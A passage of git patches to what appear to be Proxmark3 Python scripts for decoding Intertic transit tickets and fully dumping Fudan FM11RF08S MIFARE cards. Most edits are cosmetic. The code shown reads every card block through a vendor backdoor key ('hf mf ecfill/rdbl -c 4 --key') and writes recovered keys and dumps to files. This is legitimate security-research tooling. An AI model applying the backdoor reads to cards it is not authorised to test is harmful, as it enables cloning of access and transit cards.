lprint("", prompt='') if badk > 0: - lprint(f"! {badk} bad key", end='') - lprint("s exist" if badk != 1 else " exists") + s = color(f'{badk}', fg="red") + e = "s exist" if badk != 1 else " exists" + lprint(f" {s} bad key{e}", prompt='[!]') rv = False, mad, key else: @@ -920,9 +920,9 @@ def dumpAcl(data): def diskDump(data, uid, dpath): """Full Dump""" - dump18 = f"{dpath}hf-mf-{uid.hex().upper()}-dump18.bin" + dump18 = color(f"{dpath}hf-mf-{uid.hex().upper()}-dump18.bin", fg="yellow") - lprint(f"\nDump Card Data to file: {dump18}") + lprint(f"\nDump Card Data to file... {dump18}") bad = False with open(dump18, 'wb') as f: diff --git a/client/pyscripts/intertic.py b/client/pyscripts/intertic.py index 88a2be07b..8d6d865d6 100644 --- a/client/pyscripts/intertic.py +++ b/client/pyscripts/intertic.py @@ -90,11 +90,11 @@ def Describe_Usage_1(Usage, ContractMediumEndDate, Certificate): unk = Usage.nom_bits(65) EventValidityTimeFirstStamp = Usage.nom(11) - print(' EventDateStamp : {} ({})'.format(EventDateStamp, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate - EventDateStamp)).strftime('%Y-%m-%d'))); + print(' EventDateStamp : {} ({})'.format(EventDateStamp, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate - EventDateStamp)).strftime('%Y-%m-%d'))) print(' EventTimeStamp : {} ({:02d}:{:02d})'. format(EventTimeStamp, EventTimeStamp // 60, EventTimeStamp % 60)) - print(' unk1... :', unk); + print(' unk1... :', unk) print(' EventValidityTimeFirstStamp: {} ({:02d}:{:02d})'. format(EventValidityTimeFirstStamp, EventValidityTimeFirstStamp // 60, EventValidityTimeFirstStamp % 60)) - print(' left... :', Usage.nom_bits_left()); + print(' left... :', Usage.nom_bits_left()) print(' [CER] Usage : {:04x}'.format(Certificate.nom(16))) def Describe_Usage_1_1(Usage, ContractMediumEndDate, Certificate): @@ -110,18 +110,18 @@ def Describe_Usage_1_1(Usage, ContractMediumEndDate, Certificate): EventCountPassengers_mb = Usage.nom(4) EventValidityTimeFirstStamp = Usage.nom(11) - print(' DateStamp : {} ({})'.format(EventDateStamp, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate - EventDateStamp)).strftime('%Y-%m-%d'))); + print(' DateStamp : {} ({})'.format(EventDateStamp, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate - EventDateStamp)).strftime('%Y-%m-%d'))) print(' TimeStamp : {} ({:02d}:{:02d})'. format(EventTimeStamp, EventTimeStamp // 60, EventTimeStamp % 60)) - print(' unk0... :', unk0); + print(' unk0... :', unk0) print(' Code/Nature : 0x{:x} ({})'.format(EventCode_Nature, TYPE_EventCode_Nature.get(EventCode_Nature, '?'))) print(' Code/Type : 0x{:x} ({})'.format(EventCode_Type, TYPE_EventCode_Type.get(EventCode_Type, '?'))) - print(' unk1... :', unk1); + print(' unk1... :', unk1) print(' GeoVehicleId : {}'. format(EventGeoVehicleId)) print(' GeoRouteId : {}'. format(EventGeoRouteId)) print(' Direction : {} ({})'. format(EventGeoRoute_Direction, TYPE_EventGeoRoute_Direction.get(EventGeoRoute_Direction, '?'))) print(' Passengers(?) : {}'. format(EventCountPassengers_mb)) print(' ValidityTimeFirstStamp: {} ({:02d}:{:02d})'. format(EventValidityTimeFirstStamp, EventValidityTimeFirstStamp // 60, EventValidityTimeFirstStamp % 60)) - print(' left... :', Usage.nom_bits_left()); + print(' left... :', Usage.nom_bits_left()) print(' [CER] Usage : {:04x}'.format(Certificate.nom(16))) def Describe_Usage_1_2(Usage, ContractMediumEndDate, Certificate): @@ -143,19 +143,19 @@ def Describe_Usage_1_2(Usage, ContractMediumEndDate, Certificate): 0x1: 'tramway', } - print(' DateStamp : {} ({})'.format(EventDateStamp, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate - EventDateStamp)).strftime('%Y-%m-%d'))); + print(' DateStamp : {} ({})'.format(EventDateStamp, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate - EventDateStamp)).strftime('%Y-%m-%d'))) print(' TimeStamp : {} ({:02d}:{:02d})'. format(EventTimeStamp, EventTimeStamp // 60, EventTimeStamp % 60)) print(' Count(?) : {}'. format(EventCount_mb)) - print(' unk0... :', unk0); + print(' unk0... :', unk0) print(' Code/Nature(?) : 0x{:x} ({})'.format(EventCode_Nature_mb, TYPE_EventCode_Nature_Reims.get(EventCode_Nature_mb, '?'))) print(' Code/Type(?) : 0x{:x} ({})'.format(EventCode_Type_mb, TYPE_EventCode_Type.get(EventCode_Type_mb, '?'))) - print(' unk1... :', unk1); + print(' unk1... :', unk1) print(' GeoVehicleId : {}'. format(EventGeoVehicleId)) print(' GeoRouteId : {}'. format(EventGeoRouteId)) print(' Direction : {} ({})'. format(EventGeoRoute_Direction, TYPE_EventGeoRoute_Direction.get(EventGeoRoute_Direction, '?'))) print(' Passengers(?) : {}'. format(EventCountPassengers_mb)) print(' ValidityTimeFirstStamp: {} ({:02d}:{:02d})'. format(EventValidityTimeFirstStamp, EventValidityTimeFirstStamp // 60, EventValidityTimeFirstStamp % 60)) - print(' left... :', Usage.nom_bits_left()); + print(' left... :', Usage.nom_bits_left()) print(' [CER] Usage : {:04x}'.format(Certificate.nom(16))) @@ -171,17 +171,17 @@ def Describe_Usage_2(Usage, ContractMediumEndDate, Certificate): EventCountPassengers_mb = Usage.nom(4) EventValidityTimeFirstStamp = Usage.nom(11) - print(' DateStamp : {} ({})'.format(EventDateStamp, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate - EventDateStamp)).strftime('%Y-%m-%d'))); + print(' DateStamp : {} ({})'.format(EventDateStamp, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate - EventDateStamp)).strftime('%Y-%m-%d'))) print(' TimeStamp : {} ({:02d}:{:02d})'. format(EventTimeStamp, EventTimeStamp // 60, EventTimeStamp % 60)) - print(' unk0... :', unk0); + print(' unk0... :', unk0) print(' Code/Nature : 0x{:x} ({})'.format(EventCode_Nature, TYPE_EventCode_Nature.get(EventCode_Nature, '?'))) print(' Code/Type : 0x{:x} ({})'.format(EventCode_Type, TYPE_EventCode_Type.get(EventCode_Type, '?'))) - print(' unk1... :', unk1); + print(' unk1... :', unk1) print(' GeoRouteId : {}'. format(EventGeoRouteId)) print(' Direction : {} ({})'. format(EventGeoRoute_Direction, TYPE_EventGeoRoute_Direction.get(EventGeoRoute_Direction, '?'))) print(' Passengers(?) : {}'. format(EventCountPassengers_mb)) print(' ValidityTimeFirstStamp: {} ({:02d}:{:02d})'. format(EventValidityTimeFirstStamp, EventValidityTimeFirstStamp // 60, EventValidityTimeFirstStamp % 60)) - print(' left... :', Usage.nom_bits_left()); + print(' left... :', Usage.nom_bits_left()) print(' [CER] Usage : {:04x}'.format(Certificate.nom(16))) def Describe_Usage_3(Usage, ContractMediumEndDate, Certificate): @@ -190,11 +190,11 @@ def Describe_Usage_3(Usage, ContractMediumEndDate, Certificate): unk = Usage.nom_bits(27) EventValidityTimeFirstStamp = Usage.nom(11) - print(' EventDateStamp : {} ({})'.format(EventDateStamp, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate - EventDateStamp)).strftime('%Y-%m-%d'))); + print(' EventDateStamp : {} ({})'.format(EventDateStamp, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate - EventDateStamp)).strftime('%Y-%m-%d'))) print(' EventTimeStamp : {} ({:02d}:{:02d})'. format(EventTimeStamp, EventTimeStamp // 60, EventTimeStamp % 60)) - print(' unk1... :', unk); + print(' unk1... :', unk) print(' EventValidityTimeFirstStamp: {} ({:02d}:{:02d})'. format(EventValidityTimeFirstStamp, EventValidityTimeFirstStamp // 60, EventValidityTimeFirstStamp % 60)) - print(' left... :', Usage.nom_bits_left()); + print(' left... :', Usage.nom_bits_left()) print(' [CER] Usage : {:04x}'.format(Certificate.nom(16))) def Describe_Usage_4(Usage, ContractMediumEndDate, Certificate): @@ -203,16 +203,16 @@ def Describe_Usage_4(Usage, ContractMediumEndDate, Certificate): unk = Usage.nom_bits(63) EventValidityTimeFirstStamp = Usage.nom(11) - print(' EventDateStamp : {} ({})'.format(EventDateStamp, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate - EventDateStamp)).strftime('%Y-%m-%d'))); + print(' EventDateStamp : {} ({})'.format(EventDateStamp, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate - EventDateStamp)).strftime('%Y-%m-%d'))) print(' EventTimeStamp : {} ({:02d}:{:02d})'. format(EventTimeStamp, EventTimeStamp // 60, EventTimeStamp % 60)) - print(' unk1... :', unk); + print(' unk1... :', unk) print(' EventValidityTimeFirstStamp: {} ({:02d}:{:02d})'. format(EventValidityTimeFirstStamp, EventValidityTimeFirstStamp // 60, EventValidityTimeFirstStamp % 60)) - print(' left... :', Usage.nom_bits_left()); + print(' left... :', Usage.nom_bits_left()) print(' [CER] Usage : {:04x}'.format(Certificate.nom(16))) def Describe_Usage_Generic(Usage, ContractMediumEndDate, Certificate): print(' !!! GENERIC DUMP - please provide full file dump to benjamin@gentilkiwi.com - especially if NOT empty !!!') - print(' left... :', Usage.nom_bits_left()); + print(' left... :', Usage.nom_bits_left()) print(' [CER] Usage : {:04x}'.format(Certificate.nom(16))) print(' !!! Trying Usage_1 (the most common) !!!') Usage.reset() @@ -241,7 +241,7 @@ FRA_OrganizationalAuthority_Contract_Provider = { }, 0x013: { 1: InterticHelper('Avignon', 'Orizo'), - } + }, 0x021: { 1: InterticHelper('Bordeaux', 'TBM / Keolis', Describe_Usage_1_1), }, @@ -378,7 +378,7 @@ def main(): return 3 - print('PID (product): 0x{:02x} (flipflop?: {})'.format(PID, (PID & 0x10) != 0)); + print('PID (product): 0x{:02x} (flipflop?: {})'.format(PID, (PID & 0x10) != 0)) print('KeyId : 0x{:1x}'.format(KeyId)) print() @@ -401,10 +401,11 @@ def main(): Distribution_left = Distribution_Data.nom_bits_left() print('DISTRIBUTION') - print(' CountryCode : {:03x} - {}'.format(CountryCode, ISO_Countries.get(CountryCode, '?'))); - print(' OrganizationalAuthority : {:03x}'.format(OrganizationalAuthority)); - print(' ContractApplicationVersionNumber:', ContractApplicationVersionNumber); - print(' ContractProvider :', ContractProvider); + print(' CountryCode : {:03x} - {}'.format(CountryCode, ISO_Countries.get(CountryCode, '?'))) + print(' OrganizationalAuthority : {:03x}'.format(OrganizationalAuthority)) + print(' ContractApplicationVersionNumber:', ContractApplicationVersionNumber) + print(' ContractProvider :', ContractProvider) + if (CountryCode == 0x250): oa = FRA_OrganizationalAuthority_Contract_Provider.get(OrganizationalAuthority) if (oa is not None): @@ -412,9 +413,10 @@ def main(): if (s is not None): print(' ~ Authority & Provider ~ : {} ({})'.format(s.OrganizationalAuthority, s.ContractProvider)) Describe_Usage = s.UsageDescribeFunction - print(' ContractTariff :', ContractTariff); - print(' ContractMediumEndDate : {} ({})'.format(ContractMediumEndDate, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate)).strftime('%Y-%m-%d'))); - print(' left... :', Distribution_left); + + print(' ContractTariff :', ContractTariff) + print(' ContractMediumEndDate : {} ({})'.format(ContractMediumEndDate, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate)).strftime('%Y-%m-%d'))) + print(' left... :', Distribution_left) print(' [CER] Distribution : {:08x}'.format(Distribution_Cer.nom(32))) print() From 7be2a671c88de53ac9193fb553abe87bab3a8c4f Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Thu, 7 Nov 2024 21:42:04 +0100 Subject: [PATCH 099/155] python script: add --fast --- client/pyscripts/fm11rf08_full.py | 42 ++++++++++++++++--------------- 1 file changed, 22 insertions(+), 20 deletions(-) diff --git a/client/pyscripts/fm11rf08_full.py b/client/pyscripts/fm11rf08_full.py index 9c36fbc6e..cd6d818c8 100644 --- a/client/pyscripts/fm11rf08_full.py +++ b/client/pyscripts/fm11rf08_full.py @@ -158,7 +158,7 @@ globals: # FIXME: nr of blocks depend on the tag. RF32 is 256, RF08 is 64, RF08S is 64+8 # Currently readBlocks is hardcoded for RF08S - data, blkn = readBlocks(bdkey) + data, blkn = readBlocks(bdkey, args.fast) data = patchKeys(data, key) dump18 = diskDump(data, uid, dpath) # save it before you do anything else @@ -211,6 +211,7 @@ def parseCli(): parser.add_argument('-f', '--force', action='store_true', help='force recovery of keys') parser.add_argument('-b', '--bambu', action='store_true', help='force Bambu tag decode') parser.add_argument('-v', '--validate', action='store_true', help='check Fudan signature (requires internet)') + parser.add_argument('--fast', action='store_true', help='use ecfill for faster card transactions') args = parser.parse_args() @@ -481,7 +482,7 @@ globals: return rv -def readBlocks(bdkey): +def readBlocks(bdkey, fast=False): """ Read all block data - INCLUDING advanced verification blocks @@ -497,25 +498,26 @@ globals: lprint("\n Load blocks {0..63, 128..135}[64+8=72] from the card") - # Try fast dump first blkn_todo = blkn - # The user uses keyhole #0 (-a) - # The vendor uses keyhole #1 (-b) - # The thief uses keyhole #4 (backdoor) - # |___ - cmd = f"hf mf ecfill -c 4 --key {bdkey}" - lprint(f"`{cmd}`", flush=True, log=False) - p.console(cmd) - for line in p.grabbed_output.split('\n'): - if "ok" in line: - cmd = "hf mf eview" - lprint(f"`{cmd}`", flush=True, log=False) - p.console(cmd) - for line in p.grabbed_output.split('\n'): - if " | " in line and "sec | blk | data" not in line: - lsub = line[11:83] - data.append(lsub) - blkn_todo = list(range(128, 135+1)) + if fast: + # Try fast dump first + # The user uses keyhole #0 (-a) + # The vendor uses keyhole #1 (-b) + # The thief uses keyhole #4 (backdoor) + # |___ + cmd = f"hf mf ecfill -c 4 --key {bdkey}" + lprint(f"`{cmd}`", flush=True, log=False) + p.console(cmd) + for line in p.grabbed_output.split('\n'): + if "ok" in line: + cmd = "hf mf eview" + lprint(f"`{cmd}`", flush=True, log=False) + p.console(cmd) + for line in p.grabbed_output.split('\n'): + if " | " in line and "sec | blk | data" not in line: + lsub = line[11:83] + data.append(lsub) + blkn_todo = list(range(128, 135+1)) bad = 0 for n in blkn_todo: From e65a15337eb3a4257bd4344144d09a1e30c25543 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Thu, 7 Nov 2024 21:52:07 +0100 Subject: [PATCH 100/155] text --- client/pyscripts/fm11rf08_full.py | 47 ++++++++++++++++++------------- 1 file changed, 27 insertions(+), 20 deletions(-) diff --git a/client/pyscripts/fm11rf08_full.py b/client/pyscripts/fm11rf08_full.py index 34693f838..0be69fb55 100644 --- a/client/pyscripts/fm11rf08_full.py +++ b/client/pyscripts/fm11rf08_full.py @@ -139,7 +139,7 @@ globals: if args.force or (key := loadKeys(keyfile)) is None: if args.recover is False: s = color("--recover", fg="yellow") - lprint(f"Keys not loaded, use {s} to run recovery script [slow]") + lprint(f" Keys not loaded, use {s} to run recovery script [slow]", prompt='[!]') else: # FIXME: recovery() is only for RF08S. TODO for the other ones with a "darknested" attack keyfile = recoverKeys() @@ -150,7 +150,7 @@ globals: if ret is False: if args.nokeys is False: s = color("--nokeys", fg="yellow") - lprint(f"Use {s} to keep going past this point") + lprint(f" Use {s} to keep going past this point", prompt='[!]') return # FIXME: nr of blocks depend on the tag. RF32 is 256, RF08 is 64, RF08S is 64+8 @@ -246,7 +246,7 @@ globals: lprint(f" - fail [{res}]", prompt='') if bdkey == "": - lprint("\n! Unknown key, or card not detected.") + lprint("\n Unknown key, or card not detected.", prompt='[!]') return None, None return bdkey, blk0 @@ -362,7 +362,8 @@ def fudanValidate(blk0, live=False): desc = "" lprint(f"The man from Fudan, he say: {r['code']} - {r['message']}{desc}") else: - lprint("\n ...Use --validate to perform Fudan signature check automatically") + s = color('--validate', fg="yellow") + lprint(f'\n Use {s} to perform Fudan signature check automatically', prompt='[?]') def loadKeys(keyfile): @@ -372,7 +373,7 @@ If keys cannot be loaded AND --recover is specified, then run key recovery """ key = [[b'' for _ in range(2)] for _ in range(17)] # create a fresh array - lprint(f"\n Load keys from file... " + color(f"{keyfile}", fg="yellow")) + lprint(f"\nLoad keys from file... " + color(f"{keyfile}", fg="yellow")) try: with (open(keyfile, "rb")) as fh: @@ -493,9 +494,9 @@ globals: - p (R) """ data = [] - blkn = list(range(0, 63+1)) + list(range(128, 135+1)) + blkn = list(range(0, 63 + 1)) + list(range(128, 135 + 1)) - lprint("\n Load blocks {0..63, 128..135}[64+8=72] from the card") + lprint("\nLoad blocks {0..63, 128..135}[64 + 8 = 72] from the card") # Try fast dump first blkn_todo = blkn @@ -538,7 +539,8 @@ globals: data.append(f"{n:3d} | -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- | ----------------") bad += 1 - lprint(" .. OK", log=False) + s = color("ok", fg="green") + lprint(f'Loading ( {s} )', log=False) return data, blkn @@ -546,9 +548,9 @@ def patchKeys(data, key): """Patch keys in to data 3 | 00 00 00 00 00 00 87 87 87 69 00 00 00 00 00 00 | .........i...... """ - lprint("\nPatch keys in to data") + lprint("\nPatching keys in to data") - for sec in range(0, 16+1): + for sec in range(0, 16 + 1): blk = (sec * 4) + 3 # find "trailer" for this sector if key is not None: if key[sec][0] == b'': @@ -920,19 +922,24 @@ def dumpAcl(data): def diskDump(data, uid, dpath): """Full Dump""" - dump18 = color(f"{dpath}hf-mf-{uid.hex().upper()}-dump18.bin", fg="yellow") + dump18 = color(f'{dpath}hf-mf-{uid.hex().upper()}-dump18.bin', fg='yellow') - lprint(f"\nDump Card Data to file... {dump18}") + lprint(f'\nDump card data to file... {dump18}') bad = False - with open(dump18, 'wb') as f: - for d in data: - if "--" in d[6:53]: - bad = True - b = bytes.fromhex(d[6:53].replace(" ", "").replace("--", "FF")) - f.write(b) - if bad: - lprint("Bad data exists, and has been saved as 0xFF") + try: + with open(dump18, 'wb') as f: + for d in data: + if '--' in d[6:53]: + bad = True + b = bytes.fromhex(d[6:53].replace(' ', '').replace('--', 'FF')) + f.write(b) + if bad: + lprint('Bad data exists, and has been saved as 0xFF') + except: + s = color('fail', fg='red') + lprint(f'File operations ( {s} )', prompt='[!]') + return dump18 From 96675f41a15f7be2ddc5f31c9a54ef0a1579c9bd Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Thu, 7 Nov 2024 22:00:50 +0100 Subject: [PATCH 101/155] text --- client/pyscripts/fm11rf08_full.py | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/client/pyscripts/fm11rf08_full.py b/client/pyscripts/fm11rf08_full.py index c658e65b4..733782c31 100644 --- a/client/pyscripts/fm11rf08_full.py +++ b/client/pyscripts/fm11rf08_full.py @@ -938,9 +938,13 @@ def diskDump(data, uid, dpath): f.write(b) if bad: lprint('Bad data exists, and has been saved as 0xFF') + + s = color('ok', fg='green') + lprint(f' Save file operations ( {s} )', prompt='[+]') + except: s = color('fail', fg='red') - lprint(f'File operations ( {s} )', prompt='[!]') + lprint(f' Save file operations ( {s} )', prompt='[!]') return dump18 From 8de4797b3004fd5251bc995b85ab6c57e0d1f1dc Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Thu, 7 Nov 2024 22:10:46 +0100 Subject: [PATCH 102/155] more colors --- client/pyscripts/fm11rf08_full.py | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/client/pyscripts/fm11rf08_full.py b/client/pyscripts/fm11rf08_full.py index 733782c31..ffa20c549 100644 --- a/client/pyscripts/fm11rf08_full.py +++ b/client/pyscripts/fm11rf08_full.py @@ -241,10 +241,12 @@ globals: if " | " in line and "# | s" not in line: blk0 = line[10:56+1] if res == 0: - lprint(" - success", prompt='') + s = color('ok', fg='green') + lprint(f" ( {s} )", prompt='') bdkey = k break - lprint(f" - fail [{res}]", prompt='') + s = color('fail', fg='yellow') + lprint(f" ( {s} ) [{res}]", prompt='') if bdkey == "": lprint("\n Unknown key, or card not detected.", prompt='[!]') @@ -474,7 +476,7 @@ globals: rv = False, mad, key else: - lprint("All keys verified OK") + lprint("All keys verified") rv = True, mad, key if mad is True: From 394ed2d7116fd0603c5712a8fe962777e17b072e Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Thu, 7 Nov 2024 22:17:14 +0100 Subject: [PATCH 103/155] more colors --- client/pyscripts/fm11rf08_full.py | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) diff --git a/client/pyscripts/fm11rf08_full.py b/client/pyscripts/fm11rf08_full.py index ffa20c549..e4192ad82 100644 --- a/client/pyscripts/fm11rf08_full.py +++ b/client/pyscripts/fm11rf08_full.py @@ -525,7 +525,7 @@ globals: bad = 0 for n in blkn_todo: cmd = f"hf mf rdbl -c 4 --key {bdkey} --blk {n}" - lprint(f"`{cmd}`", flush=True, log=False) + lprint(f" `{cmd}`", flush=True, log=False, end='') for retry in range(5): p.console(cmd) @@ -539,11 +539,19 @@ globals: if found: break + s = color("ok", fg="green") if not found: data.append(f"{n:3d} | -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- | ----------------") bad += 1 + s = color("fail", fg="red") + + lprint(" " * (3 - len(str(n))), flush='', log=False, end='', prompt='') + lprint(f' ( {s} )', flush='', log=False, prompt='') s = color("ok", fg="green") + if bad > 0: + s = color("fail", fg="red") + lprint(f'Loading ( {s} )', log=False) return data, blkn From 7e72a8079052663978cf95f6c3f4f4cf2f068e06 Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Thu, 7 Nov 2024 23:42:02 +0100 Subject: [PATCH 104/155] python prompts... --- client/pyscripts/fm11rf08_full.py | 29 +++++++++++-------- client/pyscripts/fm11rf08s_recovery.py | 39 +++++++++++++------------- 2 files changed, 37 insertions(+), 31 deletions(-) diff --git a/client/pyscripts/fm11rf08_full.py b/client/pyscripts/fm11rf08_full.py index e4192ad82..b981a5f1b 100644 --- a/client/pyscripts/fm11rf08_full.py +++ b/client/pyscripts/fm11rf08_full.py @@ -80,7 +80,7 @@ globals: logbuffer = '' -def lprint(s='', end='\n', flush=False, prompt="[=] ", log=True): +def lprint(s='', end='\n', flush=False, prompt="[" + color("=", fg="yellow") + "] ", log=True): """Print and Log globals: @@ -118,7 +118,7 @@ globals: # No logfile name yet lprint("Fudan FM11RF08[S] full card recovery") - lprint(f"\nDump folder... " + color(f"{dpath}", fg="yellow")) + lprint("\nDump folder... " + color(f"{dpath}", fg="yellow")) # FIXME: script is announced as for RF08 and for RF08S but it comprises RF32N key # and if RF08 is supported, all other NXP/Infineon with same backdoor can be treated @@ -139,7 +139,7 @@ globals: if args.force or (key := loadKeys(keyfile)) is None: if args.recover is False: s = color("--recover", fg="yellow") - lprint(f" Keys not loaded, use {s} to run recovery script [slow]", prompt='[!]') + lprint(f" Keys not loaded, use {s} to run recovery script [slow]", prompt="[" + color("!", fg="red") + "]") else: # FIXME: recovery() is only for RF08S. TODO for the other ones with a "darknested" attack keyfile = recoverKeys() @@ -150,7 +150,7 @@ globals: if ret is False: if args.nokeys is False: s = color("--nokeys", fg="yellow") - lprint(f" Use {s} to keep going past this point", prompt='[!]') + lprint(f" Use {s} to keep going past this point", prompt="[" + color("!", fg="red") + "]") return # FIXME: nr of blocks depend on the tag. RF32 is 256, RF08 is 64, RF08S is 64+8 @@ -221,7 +221,7 @@ def getBackdoorKey(): """Find backdoor key [=] # | sector 00 / 0x00 | ascii [=] ----+-------------------------------------------------+----------------- -[=] 0 | 5C B4 9C A6 D2 08 04 00 04 59 92 25 BF 5F 70 90 | \........Y.%._p. +[=] 0 | 5C B4 9C A6 D2 08 04 00 04 59 92 25 BF 5F 70 90 | \\........Y.%._p. globals: - p (R) @@ -249,7 +249,7 @@ globals: lprint(f" ( {s} ) [{res}]", prompt='') if bdkey == "": - lprint("\n Unknown key, or card not detected.", prompt='[!]') + lprint("\n Unknown key, or card not detected.", prompt="[" + color("!", fg="red") + "]") return None, None return bdkey, blk0 @@ -348,7 +348,12 @@ def fudanValidate(blk0, live=False): if live: # Warning, this import causes a "double free or corruption" crash if the script is called twice... # So for now we limit the import only when really needed - import requests + try: + import requests + except ModuleNotFoundError: + s = color("not found", fg="red") + lprint(f"Python module 'requests' {s}, please install!", prompt="[" + color("!", fg="red") + "] ") + return lprint("\nCheck Fudan signature (requires internet)...") headers = {"Content-Type": "application/text; charset=utf-8"} @@ -376,7 +381,7 @@ If keys cannot be loaded AND --recover is specified, then run key recovery """ key = [[b'' for _ in range(2)] for _ in range(17)] # create a fresh array - lprint(f"\nLoad keys from file... " + color(f"{keyfile}", fg="yellow")) + lprint("\nLoad keys from file... " + color(f"{keyfile}", fg="yellow")) try: with (open(keyfile, "rb")) as fh: @@ -472,7 +477,7 @@ globals: if badk > 0: s = color(f'{badk}', fg="red") e = "s exist" if badk != 1 else " exists" - lprint(f" {s} bad key{e}", prompt='[!]') + lprint(f" {s} bad key{e}", prompt="[" + color("!", fg="red") + "]") rv = False, mad, key else: @@ -491,7 +496,7 @@ Read all block data - INCLUDING advanced verification blocks [=] # | sector 00 / 0x00 | ascii [=] ----+-------------------------------------------------+----------------- -[=] 0 | 5C B4 9C A6 D2 08 04 00 04 59 92 25 BF 5F 70 90 | \........Y.%._p. +[=] 0 | 5C B4 9C A6 D2 08 04 00 04 59 92 25 BF 5F 70 90 | \\........Y.%._p. globals: - p (R) @@ -952,9 +957,9 @@ def diskDump(data, uid, dpath): s = color('ok', fg='green') lprint(f' Save file operations ( {s} )', prompt='[+]') - except: + except Exception as e: s = color('fail', fg='red') - lprint(f' Save file operations ( {s} )', prompt='[!]') + lprint(f' Save file operations: {e} ( {s} )', prompt='[!]') return dump18 diff --git a/client/pyscripts/fm11rf08s_recovery.py b/client/pyscripts/fm11rf08s_recovery.py index 2cb2634d7..9f7270340 100755 --- a/client/pyscripts/fm11rf08s_recovery.py +++ b/client/pyscripts/fm11rf08s_recovery.py @@ -77,9 +77,10 @@ for tool, bin in tools.items(): def recovery(init_check=False, final_check=False, keep=False, debug=False, supply_chain=False, quiet=True): - def show(*args, **kwargs): + def show(s='', prompt="[" + color("=", fg="yellow") + "] ", **kwargs): if not quiet: - print(*args, **kwargs) + s = f"{prompt}" + f"\n{prompt}".join(s.split('\n')) + print(s, **kwargs) start_time = time.time() p = pm3.pm3() @@ -545,11 +546,11 @@ def recovery(init_check=False, final_check=False, keep=False, debug=False, suppl p.console(cmd, capture=False, quiet=False) else: show() - show(plus + color("found keys:", fg="green")) - show() - show(plus + "-----+-----+--------------+---+--------------+----") - show(plus + " Sec | Blk | key A |res| key B |res") - show(plus + "-----+-----+--------------+---+--------------+----") + show(color("found keys:", fg="green"), prompt=plus) + show(prompt=plus) + show("-----+-----+--------------+---+--------------+----", prompt=plus) + show(" Sec | Blk | key A |res| key B |res", prompt=plus) + show("-----+-----+--------------+---+--------------+----", prompt=plus) for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS): real_sec = sec if sec >= NUM_SECTORS: @@ -560,13 +561,13 @@ def recovery(init_check=False, final_check=False, keep=False, debug=False, suppl keys[key_type] = [color("------------", fg="red"), color("0", fg="red")] else: keys[key_type] = [color(found_keys[sec][key_type], fg="green"), color("1", fg="green")] - show(plus + f" {real_sec:03} | {real_sec*4+3:03} | " + - f"{keys[0][0]} | {keys[0][1]} | {keys[1][0]} | {keys[1][1]} ") - show(plus + "-----+-----+--------------+---+--------------+----") - show(plus + "( " + color("0", fg="red") + ":Failed / " + - color("1", fg="green") + ":Success )") + show(f" {real_sec:03} | {real_sec*4+3:03} | " + + f"{keys[0][0]} | {keys[0][1]} | {keys[1][0]} | {keys[1][1]} ", prompt=plus) + show("-----+-----+--------------+---+--------------+----", prompt=plus) + show("( " + color("0", fg="red") + ":Failed / " + + color("1", fg="green") + ":Success )", prompt=plus) show() - show(plus + "Generating binary key file") + show("Generating binary key file", prompt=plus) keyfile = f"{save_path}hf-mf-{uid:08X}-key.bin" unknown = False with (open(keyfile, "wb")) as f: @@ -577,11 +578,11 @@ def recovery(init_check=False, final_check=False, keep=False, debug=False, suppl k = "FFFFFFFFFFFF" unknown = True f.write(bytes.fromhex(k)) - show(plus + "Found keys have been dumped to `" + color(keyfile, fg="yellow")+"`") + show("Found keys have been dumped to `" + color(keyfile, fg="yellow")+"`", prompt=plus) if unknown: - show("[" + color("=", fg="yellow") + "] --[ " + color("FFFFFFFFFFFF", fg="yellow") + - " ]-- has been inserted for unknown keys") - show(plus + "Generating final dump file") + show(" --[ " + color("FFFFFFFFFFFF", fg="yellow") + + " ]-- has been inserted for unknown keys", prompt="[" + color("=", fg="yellow") + "]") + show("Generating final dump file", prompt=plus) dumpfile = f"{save_path}hf-mf-{uid:08X}-dump.bin" with (open(dumpfile, "wb")) as f: for sec in range(NUM_SECTORS): @@ -596,11 +597,11 @@ def recovery(init_check=False, final_check=False, keep=False, debug=False, suppl kb = "FFFFFFFFFFFF" d = ka + d[12:20] + kb f.write(bytes.fromhex(d)) - show(plus + "Data has been dumped to `" + color(dumpfile, fg="yellow")+"`") + show("Data has been dumped to `" + color(dumpfile, fg="yellow")+"`", prompt=plus) # Remove generated dictionaries after processing if not keep: - show(plus + "Removing generated dictionaries...") + show("Removing generated dictionaries...", prompt=plus) for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS): real_sec = sec if sec >= NUM_SECTORS: From 0f9cb05182597d56d4d80e7f9f7e95891eab9426 Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Thu, 7 Nov 2024 23:44:10 +0100 Subject: [PATCH 105/155] fix --- client/pyscripts/fm11rf08_full.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/client/pyscripts/fm11rf08_full.py b/client/pyscripts/fm11rf08_full.py index b981a5f1b..2f618a3c4 100644 --- a/client/pyscripts/fm11rf08_full.py +++ b/client/pyscripts/fm11rf08_full.py @@ -550,8 +550,8 @@ globals: bad += 1 s = color("fail", fg="red") - 